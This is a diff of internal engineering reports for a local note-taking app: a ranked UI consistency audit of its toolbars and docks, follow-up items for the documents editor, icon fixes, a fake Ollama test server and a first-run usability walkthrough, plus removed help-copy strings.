+synced; `scratchpad/ui-sweeps/devibe.js` and `vibecheck.js` are the stand-ins),
+ui-ux-pro-max (priorities 1, 2, 4, 5, 9), web-design-guidelines, apple-design
+(section 16: familiarity, grouping and mapping, "things that look the same live
+in the same place"), frontend-design (restraint), design-system (one token per
+role). DESIGN.md overrides them for `frontend/`; where they disagree (Title
+Case, bottom navigation of five) DESIGN.md wins.
+
+## Method
+
+- Base `0fa5a81`, server :8871, data `/tmp/mm-a871` seeded with
+  `seed-showcase.py` (75 notes, 3 documents, a board, a map, 4 chats).
+- `scratchpad/ui-sweeps/barinv479.js` (new, run by `barinv479.sh`): every bar
+  on Dashboard, Notes and its four sub-tabs, Chat, Graph, Timeline, Reminders,
+  Library and its eight sub-tabs, the documents editor (dock, formatting strip,
+  status bar), the board and the map (top bar and tool rail), the Settings head,
+  the Logs dock, the popup agent, the top bar and the status bar; at 1440, 1024,
+  820 and 390 (390 with touch and a mobile context), light and dark. For each
+  bar: its box, its rows, sideways scroll, and every visible control in DOM
+  order with its zone, kind, size, glyph, words, radius, weight and font size.
+  A `.seg`, a `.select-shell` and a `details` menu count once. 8 JSON files and
+  about 600 strip and page screenshots; the 1440, 820 and 390 light pages and
+  the 1440 dark pages were looked at.
+- `scratchpad/ui-sweeps/dockseams.js` (new): zones that begin a wrapped line and
+  still draw the hairline that separates them from the zone before.
+- `scratchpad/ui-sweeps/graphcorner.js` (new): overlap of the graph's zoom
+  stack, legend and minimap. 0 overlaps at 390 and 820; not a finding.
+- A census of the inventory (`census.py` in the session scratchpad): distinct
+  radius, weight, font size and height per kind of control across all bars.
+
+The grammar every bar is judged against is UI_MODERNISATION_PLAN Phase 8's
+(identity and count, find, narrow, order, view, then the one filled primary,
+then refresh, help, more), plus DESIGN.md's dialog head (title, '?', icon
+utilities at 32px, Close last), the tool rail (`.wb-rail`, one control height)
+and the status bar's three zones.
+
+## Findings, ranked by impact
+
+Status: **fixed** (commit named in the CHANGELOG line) or **open** (with why).
+
+1. **A wrapped dock line starts with a hairline.** Zones are separated by a
+   `border-left` hairline (`.dock > * + *`, 08-consistency.css). When a zone
+   wraps to a line of its own the hairline goes with it and stands at the start
+   of the line with nothing to its left. Measured (`dockseams.js`): 7 docks at
+   640 (Notes, Graph, Timeline, Library Documents, Boards & maps, Images and
+   Files, Bookmarks), 3 at 768 and 820, 0 at 900 and up. Below 600 the phone
+   rule already drops every hairline, and the Skills dock had a hand-made
+   exception for its own case; the band between had nothing. **Fixed**
+(after: 0 seams at 640, 768 and 820, the same 8 and 4 zones wrapping, so the
+mark moved no wrap): a
+   measured `data-line-start` on each wrapped zone (one ResizeObserver per
+   dock) hides the hairline without changing the box, and a zone that starts at
+   the dock's left edge is drawn on that edge.
+2. **Settings' head was not on the dialog-head recipe.** Profile, guide, Back
+   and Forward at 28x28 beside a 32x32 Close; the title an `h2` at the card's
+   own voice rather than `.dialog-head-title`. Every other dialog head is 32px
+   utilities (DESIGN.md, "A dialog's head"). **Fixed** (after: all six 32x32
+   on one centre line at 1440, the title 16px/600; 44x44 at 390, one 44px
+   row): the row is
+   `.dialog-head`, the title `.dialog-head-title`, the four utilities
+   `.dialog-head-btn`.
+3. **The map's top bar showed a fact dressed as a pressed toggle.** `#wb-map-chip`
+   ("Map") wore `.library-chip.active`, the filter chip's on state: a bordered,
+   filled, bold box that reads as a button already pressed, and pressing it does
+   nothing. It also says what the picker beside it already says ("Mind map ·
+   Portugal trip"). A fact in a bar is `.dock-chip` (the Graph's "75 notes · 87
+   links", the Timeline's "88 items · 54 days"). **Fixed**: `.dock-chip`, a
+   quiet bordered fact at 400, no fill.
+4. **The map's tool rail had three control heights.** Tools 36px, the '?' 32px,
+   the layout picker 28px, in one row (the inventory read the rail as two rows
+   because the tops differ). The rail recipe is one control height. **Fixed**
+   (after: twelve controls, all 36px on one centre line at 1440):
+   the picker and the '?' take the tools' 36px.
+5. **The wrapped tab strip was a full-width slab.** From 600 to 1199, when the
+   seven tabs take a row of their own (`.tabs-wrapped`), the strip was
+   `width: 100%`: at 820, a 788px tinted well with 430px of small captions in
+   its middle and 180px of empty well either side. A well is drawn round what
+   it holds everywhere else (the Notes and Library sub-tab strips, the segment).
+   **Fixed**: the wrapped strip hugs its tabs and is centred (after: a 446px
+   well at x=187 at 820, 490px at x=75 at 640; the header's height unchanged,
+   124px at 820; nothing scrolls).
+6. **Chat was the one tab whose dock had no help.** Every other tab dock ends
+   refresh, help, more; Chat's '?' lived in the corner of the empty
+   conversation (INBOX 236 moved it there) and is gone the moment a
+   conversation has a message. **Fixed**: the same `data-help-for` button in
+   `.dock-actions` before the ⋯ (32x32 at 1440, 44x44 at 390), its words still
+   naming the persona; the welcome keeps none. INBOX 236's ask (not in the
+   middle of the welcome) still holds: it is at the dock's end.
+7. **The board picker truncates to its prefix at tablet widths.** At 820 the
+   picker reads "Board · ..." (8rem cap below 76rem) with 104px of empty bar
+   between it and the search button. **Fixed**: the picker asks for its whole
+   name up to the desktop's 14rem and is the one control in the bar that
+   gives way, to 6rem; the right half keeps its width. After: 217px at 820
+   ("Board · Harbor launc..."), 224px (the whole name) from 1024; 0px of
+   overflow at 1152, 1024, 820, 780 and 390; the map's chip stays whole.
+8. **Zoom controls differ between the graph and the board.** Graph: a vertical
+   stack, Zoom in, Zoom out, Fit, Full screen, bottom right. Board and map: a
+   horizontal pill, Zoom out, Fit, Zoom in, bottom right, with Full screen in the
+   top bar. Each order is the convention for its orientation (a map's stack, a
+   canvas's "- 100% +"). **Open**: one orientation for both is a design call
+   (recommend the board's horizontal pill on all three canvases, Full screen
+   last in it), with its own sweep (`graphphone.js`, `wbphone.js`).
+9. **Four docks hold eight controls at 1440**, one over the grammar's seven:
+   Notes (search, Filter, sort, view, Select, New note, '?', ⋯), Graph (Concept
+   maps, search, View, New note, refresh, '?', gear, ⋯), Boards & maps (search,
+   sort, view, New board, New mind map, refresh, '?', ⋯). All are one row at
+   1440 and fold below 1100. **Open**: the Graph's gear (Display options) and
+   View menu are two doors to view settings on the desktop (the phone already
+   has one, the gear); folding View into the gear's panel is the strongest
+   candidate. Boards & maps: one "New" with board and mind map inside, as the
+   Library's All dock already does with "Create", is the other.
+10. **The documents editor's dock is not on the `.dock` recipe.** Its icon
+    utilities (view chevron, Focus, ⋯) are outlined squares, every `.dock`'s are
+    borderless; its controls are 14.7px against 13.6px in every other dock; its
+    segment radius is 8.8px against 4.8px. **Open**: DOCUMENTS_PLAN owns the
+    editor chrome, and the outlines were added for a reported dark-mode
+    visibility fault ("the kebab button is hard to see"); bringing it onto
+    `.dock` needs that report re-measured in dark.
+11. **Help parity across the Library sub-tabs.** '?' on Boards & maps, Images,
+    Files, AI skills, Contents; none on All, Documents, Bookmarks. Refresh on
+    six of eight. **Open**: low impact, needs help copy written.
+12. **Files search announced as "Search the image gallery".** The Files sub-tab
+    shares the Images dock and its search kept the gallery's accessible name.
+    **Fixed**: the name follows the sub-tab ("Search the images", "Search
+    the files").
+13. **Reminders has two "Add" buttons in one card**: the magic field's ghost
+    "Add" and the form's filled "+ Add". **Open**: copy decision (recommend
+    "Add" for the form, the wand alone with "Add from this sentence" on its
+    title for the magic field).
+14. **The Library sub-tab strip stays on screen over an open board or map**
+    (38px of chrome, and the board's own Boards button already goes back).
+    INBOX 476's decision; **open** there, not duplicated here.
+
+15. **The Dashboard's two stacked ⋯ menus** (INBOX 488, the owner:
+    "confusing to have the widget management stuff in the meatball menu button
+    above the meatball menu button which covers the quick access"). The dock's
+    ⋯ held doing (Continue, skills, Tools & features, Commands) and arranging
+    (View, Widgets, Edit layout) in one list, and opened straight down over
+    the Quick access row's own ⋯ (Customise, Reset to default) 52px below its
+    button. **Fixed**: the dock is search | Customise, ⋯. Customise (a labelled
+    ghost button, the `kebabMenu` recipe) holds View, Widgets, Edit layout,
+    Edit quick access and Reset quick access in two groups; the ⋯ keeps the
+    doing; the Quick access row has no menu of its own. Measured at 1440:
+    Customise 129x32 at x=1245, its menu 200x196 under it; 0 menus in the
+    Quick access row (was 1). At 390 Customise is its glyph, 44x44, beside
+    the ⋯. The Guide's dashboard topic says the same.
+
+16. **The status bar's glyphs sat above their words** (INBOX 494, the owner:
+    "the text and icons in the bottom bar elements arent aligned
+    vertically"). Measured by ink at 3x (`inkalign.js`, new): the glyph's ink
+    centre against the label's x-height centre, Ask -1.83px, Guide -1.67, the
+    notebook count -1.17, reminders -0.67, Find -0.50, the Ctrl K chip -0.83
+    (negative is high). A Phosphor glyph is drawn high in its own box, and a
+    flex row centres boxes, not ink; the chips already had the fix (`.chip >
+    .ph-lead`, 0.1em). **Fixed**: the same drop on the bar's glyphs, less on
+    the counts' (their glyph is already inline), less on the magnifier (its
+    handle hangs low), and on the key chip; after, every one within 0.5px,
+    light and dark. From 1024 up only; below it the words are hidden and each
+    glyph centres in its own box like Back and Undo.
+
+17. **The top bar** (the owner: "clean up the styling, spacing and alignment
+    etc of the top bar"; `topbar479.js`, new). Every item 44px and on one
+    centre line (31.6px) at 1440, 1024, 820 and 390: alignment was not the
+    fault. Two things were. The space picker was the one control in the bar
+    with a fill: the standalone quiet button's tint, a 600 label and an edge,
+    louder than the selected tab (listed above under things that shout). And
+    Settings to Lock was 16px against 6.4px between every other pair, with
+    nothing drawn: the `.header-divider` the cluster rule's note relies on
+    had left the markup, so Lock and Quit read as drifted rather than grouped.
+    **Fixed**: the picker wears every dock select's face (the field's inset
+    ground, the 3:1 control edge, a 400 label), so it reads as the same kind
+    of thing as the tab strip's inset well beside it; Lock and Quit sit past
+    the status bar's own seam, a hairline with 8px either side; on a phone
+    the seam goes with the buttons it separated. The logo tile is the bar's
+    44px, unchanged.
+
+Checked and consistent (no finding): one control height per dock at every width
+(32px desktop, 44px touch); zone order on every `.dock`; one filled control per
+dock; utilities in refresh, help, more order; the status bar's three zones at
+1440, 1024 and 820; the Logs dock; the popup agent's head and foot; the graph's
+corner at 390 and 820 (no overlap).
+
+## Target layout per bar
+
+`|` is the zone hairline. Bold is the one filled control.
+
+- **Top bar**: mark, space (a select's face) · tabs (centred) · notifications,
+  theme, settings | lock, quit, the seam drawn (fixed, item 17). Wrapped (600 to 1199): the strip on its own row,
+  hugging its tabs, centred (planned).
+- **Status bar**: state | tools | control. Unchanged.
+- **Dashboard**: find doorway | Customise, ⋯ (fixed, INBOX 488).
+- **Notes**: All notes | search, Filter | sort, view | Select, **New note**, '?',
+  ⋯. Target: Select into ⋯ (seven).
+- **Notes, Write with Atlas**: title | model, **Draft**, Undo, '?', ⋯. Unchanged.
+- **Notes, Capture**: the formatting strip (a toolbar, not a dock). Unchanged.
+- **Chat**: thread title and facts | fork, compress, '?', ⋯ ('?' added, fixed).
+  Composer: attach note, attach file, field, dictate, **Send**; second row:
+  Skills, Web, Plan | model | Ask/Agent | gear. Unchanged.
+- **Graph**: Graph and count | search | View | **New note**, refresh, '?', ⋯
+  (target: the gear's options inside View; Concept maps stays an identity link).
+- **Timeline**: Timeline and count | search, Kinds | view, Options | **Today**,
+  '?'. Unchanged.
+- **Reminders**: Your reminders | view | ⋯; status chips below. Unchanged.
+- **Library (All)**: title | search, Filter | sort, view | **Create**, refresh, ⋯.
+  Target: '?' added.
+- **Library sub-tabs**: title | search, filter | sort, view | **New/Upload/Add**,
+  refresh, '?', ⋯ on every one (target: help parity).
+- **Boards & maps**: target **New** (board, mind map) in place of two buttons.
+- **Documents editor**: Documents back, title | Saved | Edit/Read, chevron | AI
+  edit | Focus, ⋯ (target: on `.dock`, borderless utilities).
+- **Board top bar**: Boards, picker (grows, fixed) | find, overview | Insert,
+  Edit, Arrange, View, Board | Library, full screen. Unchanged.
+- **Map top bar**: Boards, picker, fact chip (planned) | find, overview | Edit,
+  View, Board | Library, full screen.
+- **Tool rail (board and map)**: one 36px height (planned for the map).
+- **Settings head**: Settings | profile, guide, Back, Forward | Close, all 32px
+  (planned).
+- **Logs dock, popup agent**: unchanged.
+
+## The de-vibe pass
+
+Sweeps: `devibe.js` (ellipsis characters, straight quotes in the interface's
+own copy, emoji used as icons, gradient text, glows on controls at rest,
+capsule controls outside the named ones, clipped headings and controls) at 1440
+and 390, and `vibecheck.js` (dead controls, leaked values, duplicate ids) on
+every tab. Both clean on the base: `devibe.js` 0 findings at 1440 and at 390,
+`vibecheck.js` 0 findings (no dead control, no leaked value, no duplicate id).
+What a DOM sweep cannot see is below, from the census and the screenshots.
+
+- **Radius, weight and size across every bar** (census over the 1440
+  inventory): buttons 4.8px everywhere except the documents dock's segment
+  (8.8px) and the round tools on the canvas rail (50%, the rail's own recipe);
+  control font 13.6px everywhere except the documents dock (14.7px) and the doc
+  status bar (11.2px, a status line); heights 32px on desktop docks, 28px in the
+  status bar, 36px in the rail and the chat composer. One finding: the
+  documents dock (item 10).
+- **Things that shout**: the space switcher was the loudest control in the
+  top bar (600, a bordered tinted face), louder than the selected tab. Fixed
+  with item 17: the select face Phase 8 asked for.
+- **A fact dressed as a control**: the map chip (item 3, planned).
+- **Gradients**: the page ground (`--page`) is a three-stop wash per theme, the
+  only decorative gradient; unslop-ui's own data says mesh and wash grounds do
+  not register as a tell. The app mark is a purple-to-blue tile: the 2024 tell
+  by shape, but it is the product's mark, so it is listed, not changed.
+- **Emoji as icons, gradient text, unprompted glow**: none (see the sweep).
+
+## Appendix: every bar, control by control
+
+From `barinv479.js`, light theme (dark has the same controls). "moved" means the
+control is not in that bar at that width: folded into the ⋯ (below 1100 the
+arrange zone, below 600 the `data-fold-narrow` actions), floated as the phone's
+primary button, or relabelled (the phone's own names). The status bar's items
+read as "filled" because they are `.status-item`, not the button ramp; the
+formatting strips' toggles likewise.

+# Documents tails: ranked, each checked against the running app (2026-10-04)
+
+Source: DOCUMENTS_PLAN open items (17d, 17e, 18's not-verified), the Documents
+section of OPEN.md (Phase 2, 6 and 8 tails), `documents-tail.md`. The engine's
+three omissions (atomic ranges, Mod+click, toolbar state) are decisions and are
+left. Server on :8852, a 20,919-word and a 52,294-word document, Chromium.
+
+Ranked by impact for a person writing long documents, then cost (S under an
+hour, M a few, L a session).
+
+| # | Item | Checked against the app | Impact | Cost |
+| --- | --- | --- | --- | --- |
+| 1 | Live view stays raw after a jump into a long document | **Bug, measured.** Jump the scroller to 30% of a 21k-word document: 3 heading lines drawn as `### Section`, 0 styled, and still so 2.5s later. The decoration plugin rebuilds on doc, viewport, selection and focus, not when the parser catches up, so the syntax tree arriving after the viewport moved never repaints | High | S |
+| 2 | Reopen a document where you left it | **Absent, measured.** No per-document caret or scroll memory anywhere in `documents.js`; reopening a long document lands at the top (or wherever the previous document's scroller left it) | High | M |
+| 3 | The breadcrumb follows the caret even when the caret is off screen (17d) | **Measured.** Scrolled to 60% with the caret at line 1: `Top > Annual report`. The outline already marks "the caret's section while visible, the top of the view otherwise" (`docCaretVisibleLine`); the breadcrumb does not use the rule | High | S |
+| 4 | How far through (17d) | Status bar says `Ln 1, Col 1` and `1.6h read`, no position in the document; nothing says "62% of the way" | Medium | S |
+| 5 | A suggestion menu drawn over its own word (OPEN) | Not yet re-measured; `spellwide2.js` table-cell case read a 0px gap while the menu covered `655..707` | Medium | M |
+| 6 | The surface aliases have no lint (OPEN) | Absent; static check, `autoGrow(` and friends handed a surface | Medium (prevents a silent runtime throw) | S |
+| 7 | Outline rows 24px against the 28px floor (OPEN) | **Already density-aware**: compact 24 to 25.2, comfortable and spacious 28 (measured) | Low to medium | S |
+| 8 | 17e: contrast over the Documents tab in both themes | `contrast.js` TABS has no documents tab; will find pre-existing findings | Medium | M |
+| 9 | Word menu's shrink-to-fit width (OPEN) | Never observed; speculative | Low | S |
+| 10 | `editor.js` sweep still describes the retired editor (OPEN) | Throws; tooling only, no writer sees it | Low | L |
+| 11 | IME composition in the engine (not verified) | Cannot be driven headless | n/a | n/a |
+
+Already exist, so not built (CLAUDE.md section 1): typing latency at 20k words
+(`doctype.js`, p50 16 to 24 ms), a selection's word and character count in the
+status bar, word goal, typewriter scrolling, outline folding and filter,
+focus mode with sidebar, open time (893 ms at 20,919 words, 980 ms at 52,294).
+
+Decided, not remade: the phone outline sheet, the 820 to 1100 icons rail,
+atomic ranges, Mod+click, the AI assistant bar's pill (the owner likes it,
+INBOX 409 (f)), the whiteboard note card (not the documents agent's).
+
+## Outcome (2026-10-04)
+
+| # | Result |
+| --- | --- |
+| 1 | Built: the plugin rebuilds when the tree is replaced. `doclonglive.js` 5 of 6 to 6 of 6 |
+| 2 | Built: caret and top offset per document, `docreturn.js` 6 of 9 to 9 of 9 |
+| 3 | Built: trail follows the view, `doccrumbview.js` 9 of 9 (3 of the scroll checks failed before) |
+| 4 | Decided against: the scrollbar, the outline mark and the trail answer it; 17 adds nothing to the chrome |
+| 5 | Assertion added (`spellwide2.js`); the recorded case does not reproduce; the reveal question is still open |
+| 6 | Built: `tests/test_doc_long.py` |
+| 7 | Already existed: density-aware, compact 24 to 25.2 px, others 28 px |
+| 8 | Built as `contrast.js` with `ONLY=document`: 0 findings, both themes, 390, 820, 1440 (390 and 820 in one theme each) |
+| 9 | Not built: never observed |
+| 10 | Not built: tooling only, a session of its own |
+| 11 | Not verifiable here |
+
+Also fixed: `docfocus.js` (the sweep's, not the app's), 20 of 23 to 24 of 24.

+- Same action, different icon, fixed: Delete backup and Delete saved look were `ph:x`, now `ph:trash` (every other Delete is trash); file-menu Rename was `ph:pencil-simple-line`, now `ph:pencil-simple` (the other 13 Renames); graph Undo was `ph:arrow-u-up-left`, now `ph:arrow-counter-clockwise` (the other Undos).
+- Same action, different icon, left on purpose: Remove from Favourites is `ph:star-half` (the bundled subset has no `star-slash`, see `test_icon_names.py`); removing a list entry is `ph:x` while deleting a record is `ph:trash`; Clear-all buttons that destroy data are `ph:trash`, clearing a field is `ph:x`; Copy of a link is `ph:link`.
+- Ratchet: `tests/test_no_ui_emoji.py` (character classes over JS literals, markup text and CSS, with the documented data allowlist).

+Scans frontend/index.html, frontend/sw.js, frontend/js/*.js, frontend/css/*.css and the
+server strings that reach the UI (ai/help_chat.py, ai/help_topics_more.py, api/*.py).
+Comments are removed first (JS and CSS block/line comments, HTML comments, Python
+comments and docstrings), so what is listed is what can render or be matched at runtime.
+Each hit is file:line, the characters, a kind (string / regex / css-content / html /
+py-string) and the excerpt.
+
+The same scanner is the base of tests/test_no_ui_emoji.py.

+
+The Models screen hides its pickers, the installed list and the suggested
+downloads whenever Ollama is not running, so a sweep in a sandbox with no
+Ollama measures a half-empty pane. This answers just enough for that screen:
+`/api/tags` (two installed models), `/api/show`, `/api/delete`, and a slow
+`/api/pull` that streams `completed`/`total` so a progress bar and a cancel
+can be driven. It is not a model: chat requests get one fixed line.
+
+**The tool-call dialect (WORLD_CLASS_PLAN row 19).** A `/api/chat` that
+carries `tools` and no tool result yet is answered the way Ollama answers
+one: NDJSON lines, the calls in one `message.tool_calls` list with each
+call's `arguments` an object (not a JSON string, the OpenAI dialect's shape)
+and a `function.index`, then a `done` line. `FAKE_OLLAMA_CALLS=2` sends two
+calls in that one message, the concurrent case. A request with a `format`
+schema (the forced round, `OllamaClient.forced_call_format`) is answered as
+a grammar-decoded model answers it: the call as a JSON object in `content`,
+split across lines; `FAKE_OLLAMA_REJECT_FORMAT=1` answers it 400 the way an
+Ollama without schema formats does. A request with a tool result in it gets
+prose. `GET /__requests` returns every chat body received, so a test can
+read what the client sent.
+
+Not verified against a real Ollama, which is the standing caveat (CLAUDE.md
+section 4): the shapes here are the ones `ollama_client.py` reads, written
+from Ollama's API documentation (`/api/chat`, "Chat request (with tools)").

+# First run, walked as a new person (INBOX 472)
+
+Base 910a9ad. Fresh data dir each walk (`/tmp/mm-a865`), no Ollama, the
+built-in search model installed. 1440x900 and 390x844 (isMobile, hasTouch),
+light and dark. Sweeps: `scratchpad/ui-sweeps/firstrun.js` (lock screen,
+welcome, every tab and sub-tab empty), `firstrun2.js` (the AI pill,
+Settings > Models, first capture, Chat with no model, graph with one note),
+`firstrun-filing.js` (how long a no-AI note says "Filing").
+
+What already holds, measured: the lock screen fits (card 420x459 at 1440,
+351x471 at 390, no scroll); a short password says "Use at least 4
+characters."; no console errors and no 4xx on any walk; Documents, Boards &
+maps, Images, Files, Contents, Timeline and Reminders each draw the recipe
+(icon, title, one sentence, one action); Chat, Ask and the writing desk each
+say "No model is connected" with one button to Settings > Models;
+Settings > Models says "Ollama isn't running" with the download link; the
+first note saves with no AI and says where it went ("Saved in
+Uncategorised: no AI model is running to file it", with Choose category).
+
+## Ranked defects
+
+| # | Where | What a new person meets | Measured | Status |
+|---|---|---|---|---|
+| 1 | Graph, empty notebook | "Every note is hidden. All 0 notes are filtered out by the map's settings." and a Show every note button that can show nothing. A false claim and a dead end on the first visit. | all four walks; `graph-empty-filtered` visible with 0 notes | fixed, 2c083a7 |
+| 2 | AI status pill, no AI | An amber warning dot with "!" for the supported no-AI state; on a phone it is a 44x44 amber circle in the middle of the top bar, the loudest thing on the first screen. Its popup says "Start Ollama" and nothing points at Settings > Models. | level `warn`, glyph `!`, bg rgba(245,189,79,.25), fg #8a5003; 44x44 at 390 | fixed, 4b69d7c: level off, chip-bg and muted, a drawn ring centred 0,0 |
+| 3 | Dashboard, "here's the whole idea" tiles | The tile recipe drawn two ways on one screen: the start tiles' description is 600 weight and the label 900, against 400 and 600 on the Quick access tiles directly above. Reads as shouting. | `.start-step .muted` 600/12.8px vs `.quick-link-hint` 400/12px | fixed, 5c52cf1: 400/12px and 600/14.72px, both rows |
+| 4 | Dashboard copy | "Your notebook is empty" said twice on one screen (hero and card), the card heading is a comma splice ("Your notebook is empty, here's the whole idea"), the footer runs to two lines. | 1440: footer 2 lines | fixed, 7998aa9: hero "No notes yet", card "How MemoryMap works", footer one line |
+| 5 | Library, All | The empty state's title is two bold sentences ("Nothing here yet. Make a document, a board or a map, or upload a file.") where its seven sibling sections use title plus one muted line. | 1440 / 390 | fixed, 7998aa9 |
+| 6 | Library, Bookmarks | Title and button only, no line saying what a bookmark is; every sibling has one. | "No bookmarks saved yet / Add a bookmark" | fixed, 7998aa9 |
+| 7 | Welcome, "Your setup" slide | Two marks stacked (the app emblem and a stethoscope); a paragraph of 6 lines at 1440 and 8 at 390 that repeats the first slide's privacy sentence; a comma splice ("Ollama isn't running right now, MemoryMap still works without it."); and no way from the slide that says the AI is off to where it is set up. | card 480x468 at 1440, 342x606 at 390 | fixed, 11ac562: 480x363 and 342x510, one mark, Connect a model |
+| 8 | Chat, "Try asking" chips with no model | The box is disabled and says Chat cannot answer, but the three suggestion chips still send: "Summarise my notes" with two notes saved answered "I couldn't find any saved notes matching that question." | POST /chat/stream from a chip with `ollama_running: false` | fixed, d36362a: the chip asks in Notes, Ask |
+| 9 | Lock screen, setup | A 5-line, 12px paragraph under the field (73 words) and "Set password & start" with an ampersand. | 1440: note 378x90 | open |
+| 10 | Notes > Ask, no model | Two empty states stacked: the no-model notice with Try asking chips, then "Ask your own notes a question" with three sentences; the model picker reads "Inherited: llama3.2 (not connected)". | 390: the second empty state starts at y=673 | open |
+| 11 | Chat rail | "No saved chats yet. Ask something to start one." sits at the foot of the rail, 600px below its heading, and asks for something Chat cannot do with no model. | 1440: text at y=740 | open |
+| 12 | First note, no AI | The first note says "Filing..." and the status bar "Filing a note, 1 running" for several seconds while the built-in search model loads, though no AI can file it; the composer's Filing select says "Let Atlas decide". Second note: settled in under 1s. | first walk: still filing at +5s; probe: 1.0s | open |
+| 13 | Welcome slide 2 at 390 | Skip the tour, Back and Start the tour wrap to two rows, Skip alone on the first. | 390: footer two rows | open |
+| 14 | Library, All, empty | "Activity 2" beside "Everything 0" on a notebook with nothing in it. | 1440 / 390 | open |
+
+## After the fixes
+
+Sweeps against the fixed tree, port 8865: `errors.js` 0 errors and 0 layout
+findings at 1440, 1024, 820 and 390; `contrast.js` every tab and Settings
+section ok, light and dark; `touch.js` PASS, 0 findings. The walks
+(`firstrun.js` at 1440 and 390, light and dark) log no console error and no
+4xx.
+
+Found on the way, not first-run: `tests/test_inbox_435.py::
+test_lazily_loaded_lists_show_placeholders_while_they_load` fails on the base
+(it expects `showSkeletons(grid, 4);` followed by `const boards` in
+whiteboard.js; a paged fetch now sits between them).

-	It can read and search your notes, write and file new ones, set reminders, and answer from what you have written — the same tools the Chat tab uses. It remembers this conversation until you clear it.
-404	<p class="muted" id=""> (168)
-	Every document is saved automatically as you type — there's no save button to forget. They live in your notebook's database file on this machine, along with your notes:
-410	<p class="muted" id=""> (160)
-	Nothing is ever uploaded. Use ⬇ .md to keep a copy as an ordinary file anywhere you like, or Settings → Import & export to back up or export everything at once.
-456	<p class="muted tensions-intro" id=""> (187)
-	Your notes are read here, on this machine, looking for pairs that can't both be right — a decision you reversed, a date that moved, a view you changed. Nothing is linked until you say so.
-925	<p class="muted" id=""> (180)
-	Answers come from your notebook and cite the notes they came from — nothing leaves this machine. The matching notes appear beside the answer so you can check it against the source.
-2673	<p class="muted" id=""> (207)
-	Every version this document has had. Editing for a while counts as one entry, so this reads as sittings rather than keystrokes — and restoring one keeps the version it replaced, so nothing here is ever lost.
-4867	<p class="muted hidden" id="ollama-help"> (173)
-	Ollama powers the chat answers and auto-filing. Install it from ollama.com, start it, and this screen will light up. Capturing notes and keyword search work fine without it.
-4889	<p class="muted" id="llm-provider-note"> (291)
-	The second option covers any server speaking the OpenAI API — LM Studio, llama.cpp's server, Jan and vLLM are all the same choice, differing only by address. Leave the address blank for the usual one (Ollama :11434, LM Studio :1234/v1); fill it in if you started the server on your own port.
-4942	<p class="muted" id=""> (244)
-	Quick background jobs run on this model, so a big slow chat model isn't tied up categorising every note. Point it at a small fast model (e.g. llama3.2) and let a bigger one answer your questions. Leave as “Same as chat model” to keep it simple.
-4959	<p class="muted" id=""> (164)
-	“Auto-detect” uses the first installed model that reports it can see images. Pick one by hand if you have several, or if auto-detect isn't finding the one you want.
-4979	<p class="muted" id=""> (229)
-	Left on “Automatic”, this prefers a document reader (GLM-OCR, DeepSeek-OCR, PaddleOCR-VL) when you have one installed, then falls back to your vision model. Scanned PDFs also need the “Read scanned PDFs” extra, below in Packages.
-5009	<p class="muted" id="embedding-ollama-note"> (239)
-	Pick a dedicated embedding model (e.g. nomic-embed-text) — chat models can't create embeddings. Changing this re-reads every note so search keeps making sense — it runs in the background and search falls back to keywords until it finishes.
-5037	<p class="muted text-sm" id="reindex-blurb"> (202)
-	Rebuilds what semantic search matches on. Worth doing after an update, or if searching stops finding notes you know are there — it re-reads every note with its category, tags and attached text included.
-5065	<p class="muted" id=""> (151)
-	How the model picks its words. Each row starts at what this model recommends for itself — change one only if you have a reason, and Reset puts it back.
-5124	<p class="muted" id=""> (336)
-	A skill is a job you can run with one click from the Chat tab: what to do, the steps to do it in, the tools it's allowed to use, and anything it should ask you for first. Naming its tools is what makes a small model actually reach for them — and only those tools are offered while it runs. Destructiv
-5147	<p class="muted" id=""> (229)
-	Leave everything unticked to let it use whatever is switched on in Settings → Tools. Ticking a few is both safer and more reliable: they're the only ones offered for the run, which leaves far more room in a small model's context.
-5175	<p class="muted" id=""> (280)
-	A template fills the Capture box with a starting shape — a recipe's ingredient list, a meeting's agenda. The built-in ones can't be edited or removed; your own can. Picking one from the Capture tab's dropdown never throws away text you've already typed there without asking first.
-5202	<p class="muted" id=""> (217)
-	The AI can keep standing instructions — say "always answer in British English" and it will keep doing that in every conversation from then on. This is the whole list, and you can switch any of them off or delete them.
-5208	<p class="muted" id=""> (243)
-	When the AI spots one of these in conversation it suggests it rather than saving it: the suggestion appears in the chat with a yes/no, and again at the top of this list until you answer. Nothing reaches the AI's instructions until you say yes.
-5232	<p class="muted" id=""> (193)
-	When Agent mode is on in the Chat tab, these are the actions the AI may take. Turn any of them off and it won't be offered that tool at all. Destructive actions always ask you to confirm first.
-5240	<p class="muted" id=""> (281)
-	Every tool the AI is offered is described to it again on every round of every message — all of them together are about three quarters of what a small model reads before it even sees your question. Sending only the ones a message plausibly needs leaves far more room for your notes.
-5266	<p class="muted" id=""> (214)
-	A model under about 8 billion parameters does far better with one tool in front of it than with twenty. In this mode each step of a skill is offered only the tool that step needs, with a worked example of the call.
-5275	<small class="muted" id=""> (160)
-	Auto reads the size out of the chat model's own name (qwen3:4b is small, llama3.3:70b is not). A name with no size in it means "no idea", and no idea means off.
-5317	<p class="muted" id=""> (167)
-	A theme sets everything below in one go. Anything you then change by hand sits on top of it and wins — so you can pick a theme and still choose your own accent colour.
-5632	<small class="muted" id=""> (143)
-	Thinking and writing dots. These are feedback rather than decoration, so they keep moving through Reduce motion below unless you say otherwise.
-5729	<p class="muted" id=""> (231)
-	What shows in the strip along the bottom. The offline and power-saver badges and the running-job slot aren't listed: they appear only when there's something to say, and hiding a warning you asked for is a different kind of setting.
-5760	<p class="muted" id=""> (132)
-	For tinkerers: these rules are applied on top of the app's own styles. Bad CSS only affects how things look — clear the box to undo.
-5792	<p class="muted" id=""> (242)
-	Things MemoryMap can do with one more package installed. Nothing here is needed to write, search, tag or organise your notes — each one turns on a feature that is otherwise switched off, and everything is downloaded from PyPI to this machine.
-5830	<p class="muted" id=""> (221)
-	What “search by meaning” uses to understand a note. The model is downloaded once and kept on this machine — the HuggingFace requests in the log on every start are checking the copy you already have, not fetching it again.
-5859	<p class="muted" id=""> (166)
-	These follow the conventions every app shares, so they aren't rebindable — being unable to press Escape in the dialog you rebound it in is not a state worth allowing.
-5979	<p class="muted" id=""> (146)
-	Quiets the toasts and the notifications panel for background jobs, agent runs and general activity — a due reminder still gets through either way.
-6016	<p class="muted" id=""> (160)
-	This is the one part of MemoryMap that goes online. It is off until you turn it on, and even then only your search words leave this computer — never your notes.
-6042	<p class="muted" id=""> (501)
